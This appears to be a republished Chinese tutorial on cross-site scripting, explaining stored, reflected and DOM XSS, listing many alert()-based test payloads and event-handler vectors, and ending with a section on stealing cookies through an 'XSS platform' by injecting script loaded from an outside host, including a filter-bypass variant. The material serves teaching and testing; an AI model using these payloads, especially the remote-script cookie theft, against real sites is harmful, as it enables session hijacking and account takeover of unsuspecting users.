//复习//XSS 的艺术
Posted Securitainment
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了//复习//XSS 的艺术相关的知识,希望对你有一定的参考价值。
0x00 什么是 XSS ?
XSS 全称跨站脚本 (Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS) 的缩写混淆,故缩写为 XSS,比较合适的方式应该叫做跨站脚本攻击。
跨站脚本攻击是一种常见的 web 安全漏洞,它主要是指攻击者可以在页面中插入恶意脚本代码,当受害者访问这些页面时,浏览器会解析并执行这些恶意代码,从而达到窃取用户身份 / 钓鱼 / 传播恶意代码等行为。
上图就是一个典型的存储型 XSS。
什么是 Payload?
Payload 是一个专业术语,中文翻译过来是是有效荷载,可能经常会从搞安全的口里说出,那么什么是 Payload?什么又是 Exp?什么又是 PoC?
先介绍 PoC,PoC 的全称是 Proof of Concept,意思为概念验证,通俗的可以理解为漏洞验证脚本;而 Exp 是 Exploit 的简写,意思为漏洞利用,两者的区别即使一个仅限于验证,而一个是攻击利用。那么 Payload 呢?Payload 是组成 PoC 和 Exp 的必要部分,也可以理解为验证代码。
打个比喻,假如某个窗户存在问题,任何钥匙都可以开,那么这个比喻为一个漏洞,那么用钥匙打开窗户,看下是否可以打开,这是 PoC 做的事,而打开窗户后进去偷东西,这是 Exp 做的事,而那把钥匙就可以理解为 Payload,Payload 不区分是否攻击利用。
比如刚才上图中的那个 XSS 漏洞的 Payload 如下:
<img src=0 onerror=alert(5)>
XSS 是怎么产生的?
经常也会听到一个词,注入点,或者说专业术语是向量,指的是黑客可控内容的提交的位置,比如下图中,搜索框,黑客可以控制输入的内容,然后进行提交,那么实际在测试漏洞的时候,就可以把注入点的内容替换为 Payload 进行验证。
而 XSS 或者说 Web 漏洞是怎么产生的?对非预期输入的信任!
安全的本质是信任的问题,在上图中,搜索框的设置对于开发者来说,理论上应该输入的是正常的字符串,进行搜索,这是一种对输入的信任,并且这种信任对于开发者来说是有预期的,在他的预期里输入是正常的字符串,而漏洞的产生就在于出现了非预期的情况,开发者没有针对性的做处理。
test //预期无害的输入
XSStest" onmouseover=alert(4438) x=" //非预期输入
0x01 XSS 分类
接下来来看看不同的 XSS 分类。
反射型(非持久型)
存储型(持久型)
DOM 型
这是最常见的三种分类:
存储型
存储型 XSS 也叫持久型 XSS,存储的意思就是 Payload 是有经过存储的,当一个页面存在存储型 XSS 的时候,XSS 注入成功后,那么每次访问该页面都将触发 XSS,典型的例子是:
如留言板
1、插入留言 => 内容存储到数据库
2、查看留言 => 内容从数据库提取出来
3、内容在页面显示
如果这里存在 XSS,Payload 可以通过留言内容提交,然后显示在页面的时候可以生效,那么就是典型的存储型 XSS。
开头的那个就是存储型 XSS,而这个也是之前微信网页版存在的另外一个存储型 XSS,昵称中包含 XSS 的 Payload,在点开查看群成员列表的时候就可以触发 XSS。
反射型
反射型 XSS 也叫非持久型 XSS,最常见的是 Payload 是构造在网址的某个 GET 参数的值里。
比如这样的:
http://www.xx.com/company/search.html?key_pro="><script>confirm(1501)</script>
与存储型相反,反射型 XSS 的是通过提交内容,然后不经过数据库,直接反射回显在页面上,比如说以下代码就存在反射想的 XSS,通过参数 get 的值提交 Payload:
echo $_GET['get'];
DOM 型
http://wechat.com/en/features.html#<img src=0 onerror='alert(0)'>
而其背后代码生效大概是这样的:
<script>
var name = location.hash;
document.write(name);
</script>
其他类型 XSS
上面是大家经常听到的 XSS 类型,其实细分下来还有其他的 XSS 类型:
mXSS 突变型 XSS
UXSS 通用型 XSS
Flash XSS
UTF-7 XSS
MHTML XSS
CSS XSS
VBScript XSS
其中 UTF-7、MHTML XSS、CSS XSS、VBScript XSS 只在低版本的 IE 中可以生效,如果感兴趣大家可以自行查看相关资料。
0x02 常用事件
script 类
<script>alert("xss")</script>
<script>alert(/xss/)</script>// 双引号换成斜杠
<script>alert('xss')</script>// 用单引号
<script>alert("xss");</script>// 用分号
<script>alert('xss');</script>
<script>alert(/xss/);</script>
<script>alert("jdq")// 自动补全
<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>// 用分号
<script>alert("xss");;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>// 空格 + 分号
<script>alert("xss");;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>// 换行符
<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>// 回车
On 事件
Onclick
事件会在对象被点击时发生。
<a>, <address>, <area>, <b>, <bdo>,<big>, <blockquote>, <body>, <button>,
<caption>, <cite>, <code>,<dd>, <dfn>, <div>, <dl>, <dt>, <em>,<fieldset>,
<form>, <h1> to<h6>, <hr>, <i>, <img>, <input>, <kbd>,<label>, <legend>,
<li>, <map>,<object>, <ol>, <p>, <pre>, <samp>,<select>, <small>, <span>,
<strong>, <sub>,<sup>, <table>, <tbody>, <td>, <textarea>,<tfoot>, <th>,
<thead>, <tr>,<tt>, <ul>, <var>
Onload
页面加载之后立即执行一段 javascript:
<bodyonload="load()">
onerror
如果在加载图片时发生错误则执行 JavaScript :
<img onerror="myFunction()">
ondrag
在
元素开始拖动时执行 JavaScript:
<p draggable="true"ondrag="alert(1)">Dragme!</p>
onhashchange
当锚部分发生变化时执行 JavaScript:
<body/onhashchange=alert(1)><ahref=#>clickit
0x03 获取信息及 xss 平台使用
测试代码
测试弹框:
alert(1)
获取 cookie :
document.cookie
获取 html 中 id 的信息:
document.getElementById('header_search').innerHTML
两者结合:
alert(document.cookie+document.getElementById('header_search').innerHTML)
xss 平台获取 cookie
平常可能这个就是用的最多的方式了。
前提我们已经找到一个 xss 可利用的点后,我们现在可通过网上的 xss 平台或者自己搭建的平台来接受 cookie。获取到 cookie 后模拟登陆
过程
访问 xss 平台,创建一个项目,自己命一个名:
选择默认板块,他将会给你提示,怎么使用,你可以直接在找到的地方如下进行利用即可:
<script src=http://t.cn/xx></script>
当过滤了 <script>
后怎么利用呢?
可以考虑如下:
<a onmouseover=s=createElement('script');body.appendChild(s);s.src=http://t.cn/xx>sss</a>
其他标签 xss 类似,只需将 alert(1)
改为
s=createElement('script');body.appendChild(s);s.src= http://t.cn/xx
即可
注意事项
当网站的 cookie 值采用 httponly 时是获取不到 cookie 的值。
Cross-site Scripting (XSS) - OWASP
Application Security – Google
Black-Hole - FreeBuf互联网安全新媒体平台 | 关注黑客与极客
HTML5 Security Cheatsheet
以上是关于//复习//XSS 的艺术的主要内容,如果未能解决你的问题,请参考以下文章